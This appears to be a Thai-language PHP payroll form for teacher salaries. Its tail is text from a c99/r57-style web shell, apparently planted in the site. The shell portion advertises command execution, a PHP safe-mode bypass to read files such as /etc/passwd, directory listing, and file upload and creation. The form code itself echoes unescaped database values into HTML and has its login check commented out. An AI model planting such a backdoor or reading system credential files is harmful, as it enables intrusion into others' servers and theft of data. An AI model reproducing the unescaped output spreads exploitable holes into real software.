                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_26" type="text" id="Costt_" value="<? echo $rss[Costt_26]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
                <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='27' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_27" type="text" id="Costt_27" value="<? echo $rss[Costt_27]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
                <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='28' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_28" type="text" id="Costt_27" value="<? echo $rss[Costt_28]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
                <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='29' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_29" type="text" id="Costt_28" value="<? echo $rss[Costt_29]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
                <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='30' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                 
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_30" type="text" id="Costt_29" value="<? echo $rss[Costt_30]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
               <?php } #if ?>
              <?php //} # if( $rs['Filetex'] != "" ) { ?>
              <tr bgcolor="#FFEFDF">
                <td height="10" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"></td>
                <td height="10" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="10" colspan="2" align="center" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span style="padding:5px 0px 5px 0px">
                  <input type="submit" name="Submit" value="  บันทึกข้อมูล  " class="button" id="Submit" />
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <input type="reset" name="Submit" value=" เคลียร์ข้อมูล" class="button" id="Submit" />
  &nbsp;&nbsp;&nbsp;</span>
                <input type="button" name="close" value="ปิดหน้าต่าง" onclick="window.close()" id="close" />
                <span style="padding:5px 0px 5px 0px">
                <input type="hidden" name="Teacher_code" value="<? echo $Teacher_code; ?>" />
                <input  type="hidden" name="Teacher_id" value="<? echo $rs[Teacher_id]?>" />
                <input name="StatusId"  type="hidden" id="StatusId" value="<? echo $rs[StatusId]?>" />
                <input name="Faculty_code"  type="hidden" id="Faculty_code" value="<? echo $rs[Faculty_code]?>" />
                <input name="Person_type"  type="hidden" id="Person_type" value="<? echo $rs[Person_type]?>" />
                </span></td>
              </tr>
          </table>
        </form>
    
          <div align="center"></div>
        </fieldset>
  </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='21' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><br />
    </font></td>
  </tr>
</table>
<?php 
    }
else 
{
 //      echo"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
//       echo"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0147 ]--